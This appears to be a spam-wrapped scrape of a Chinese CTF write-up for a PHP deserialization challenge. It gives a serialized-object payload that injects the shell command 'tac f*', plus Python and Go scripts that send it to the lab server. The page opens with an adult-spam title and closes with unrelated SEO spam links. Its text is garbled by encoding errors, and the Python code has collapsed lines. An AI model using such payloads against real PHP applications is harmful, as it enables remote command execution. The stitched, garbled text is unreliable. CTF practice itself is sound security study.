中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當(dāng)前位置: 首頁 > news >正文

做提升自己的網(wǎng)站汕頭自動(dòng)seo

做提升自己的網(wǎng)站,汕頭自動(dòng)seo,陜西網(wǎng)站制作公司,用地方名字做網(wǎng)站Polar Web【簡(jiǎn)單】PHP反序列化初試 Contents Polar Web【簡(jiǎn)單】PHP反序列化初試思路EXP手動(dòng)腳本PythonGo 運(yùn)行&總結(jié) 思路 啟動(dòng)環(huán)境,顯示下圖中的PHP代碼,于是展開分析: 首先發(fā)現(xiàn)Easy類中有魔術(shù)函數(shù) __wakeup() ,實(shí)現(xiàn)的是對(duì)成員…

Polar Web【簡(jiǎn)單】PHP反序列化初試

Contents

  • Polar Web【簡(jiǎn)單】PHP反序列化初試
    • 思路
    • EXP
      • 手動(dòng)
      • 腳本
        • Python
        • Go
    • 運(yùn)行&總結(jié)

思路

啟動(dòng)環(huán)境,顯示下圖中的PHP代碼,于是展開分析:

  1. 首先發(fā)現(xiàn)Easy類中有魔術(shù)函數(shù) __wakeup() ,實(shí)現(xiàn)的是對(duì)成員變量 $name 的回顯。
  2. 觀察下方發(fā)現(xiàn), unserialize() 函數(shù)將觸發(fā)該魔術(shù)函數(shù)的執(zhí)行,因此考慮構(gòu)造序列字符串傳入該類的成員變量 $name 中,以觸發(fā)命令執(zhí)行。
  • 本題分別使用手動(dòng)注入和腳本運(yùn)行兩種方式進(jìn)行解答。

code

EXP

手動(dòng)

manual
flag

腳本

Python
import requestsdef attack(url, payload):url += payloadres = (requests.get(url).content.decode('utf8'))if res:print(res[res.rindex('flag'):res.rindex('"')])if __name__ == '__main__':site = 'http://~.www.polarctf.com:8090/'pl = '?easy=O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:6:"tac f*";s:3:"env";N;}}'attack(site, pl)
Go
package mainimport ("fmt""io/ioutil""net/http""net/url""strings"
)func attack(url string) {//fmt.Println("url:", url)if resp, err := http.Get(url); err != nil {panic("GET ERR: " + err.Error())} else {out, _ := ioutil.ReadAll(resp.Body)ans := string(out)fmt.Println(ans[strings.LastIndex(ans, "flag"): strings.LastIndex(ans, "\"")])}
}func main() {baseURL := "http://~.www.polarctf.com:8090/"// 解析基礎(chǔ) URLu, err := url.Parse(baseURL)if err != nil {panic(err)}// 解析查詢字符串q, err := url.ParseQuery(u.RawQuery)if err != nil {panic(err)}// 添加或更新查詢參數(shù)q.Set("easy", "O:4:\"Easy\":1:{s:4:\"name\";O:4:\"Evil\":2:{s:4:\"evil\";s:6:\"tac f*\";s:3:\"env\";N;}}")// 編碼查詢字符串u.RawQuery = q.Encode()attack(u.String())
}
  • !注意 !在Go語言中,為了防止特殊的字符導(dǎo)致URL被截?cái)嘁l(fā)HTTP請(qǐng)求異常,需要對(duì)原生URL進(jìn)行編碼處理

運(yùn)行&總結(jié)

run

  • 本題考查PHP代碼分析、反序列化以及序列構(gòu)造的技巧
  • 需要對(duì)PHP面向?qū)ο笤O(shè)計(jì)有所認(rèn)識(shí)






敬,不完美的明天
http://www.risenshineclean.com/news/35844.html

相關(guān)文章:

  • 織夢(mèng)網(wǎng)站模板怎么做搜索引擎seo外包
  • 網(wǎng)站會(huì)員模板網(wǎng)站關(guān)鍵詞推廣價(jià)格
  • vultr 做網(wǎng)站搜索引擎優(yōu)化的完整過程
  • vs2012手機(jī)網(wǎng)站開發(fā)教程常用的五種網(wǎng)絡(luò)營銷工具
  • 工藝禮品東莞網(wǎng)站建設(shè)seoul national university
  • asp網(wǎng)站制作實(shí)例教程目前網(wǎng)絡(luò)推廣平臺(tái)
  • 天寧寺網(wǎng)站建設(shè)seo學(xué)校培訓(xùn)
  • 站長(zhǎng)工具綜合查詢ip怎樣在百度上發(fā)布作品
  • 怎么做提取微信62的網(wǎng)站網(wǎng)頁制作流程
  • 網(wǎng)站的內(nèi)連接如何做沈陽優(yōu)化網(wǎng)站公司
  • 怎么通過域名做網(wǎng)站年度關(guān)鍵詞有哪些
  • 在那個(gè)網(wǎng)站做義工好河南網(wǎng)站建設(shè)定制
  • 江蘇專業(yè)的網(wǎng)站建設(shè)一點(diǎn)優(yōu)化
  • 定制網(wǎng)站開發(fā)報(bào)價(jià)單百度優(yōu)化怎么做
  • 龍華網(wǎng)站建設(shè)推廣平臺(tái)百度新聞發(fā)布
  • dw網(wǎng)站怎么做跳轉(zhuǎn)網(wǎng)站seo設(shè)計(jì)
  • 微信上建微網(wǎng)站要錢嗎深圳seo優(yōu)化服務(wù)
  • 會(huì)展設(shè)計(jì)專業(yè)學(xué)什么百度seo整站優(yōu)化
  • 重慶網(wǎng)領(lǐng)網(wǎng)站建設(shè)公司百度快照客服人工電話
  • 內(nèi)容導(dǎo)購網(wǎng)站模板網(wǎng)頁設(shè)計(jì)個(gè)人主頁模板
  • 網(wǎng)站建設(shè)策劃實(shí)訓(xùn)總結(jié)谷歌優(yōu)化推廣
  • 專業(yè)網(wǎng)站建設(shè)哪里好葫島百度seo
  • 企業(yè)網(wǎng)站 留言板站長(zhǎng)之家seo查找
  • 織夢(mèng)網(wǎng)站如何做seo班級(jí)優(yōu)化大師免費(fèi)下載
  • 廣州網(wǎng)站建設(shè)廣州網(wǎng)絡(luò)推廣公司如何建立一個(gè)網(wǎng)站
  • ftp網(wǎng)站劫持微博推廣怎么做
  • 網(wǎng)站建設(shè)違約怎么優(yōu)化網(wǎng)站排名才能起來
  • 公司網(wǎng)站建站哪個(gè)系統(tǒng)好用網(wǎng)站建設(shè)seo優(yōu)化培訓(xùn)
  • flashcs6網(wǎng)站建設(shè)成品網(wǎng)站貨源1
  • 培訓(xùn)公司網(wǎng)站建設(shè)圖片外鏈生成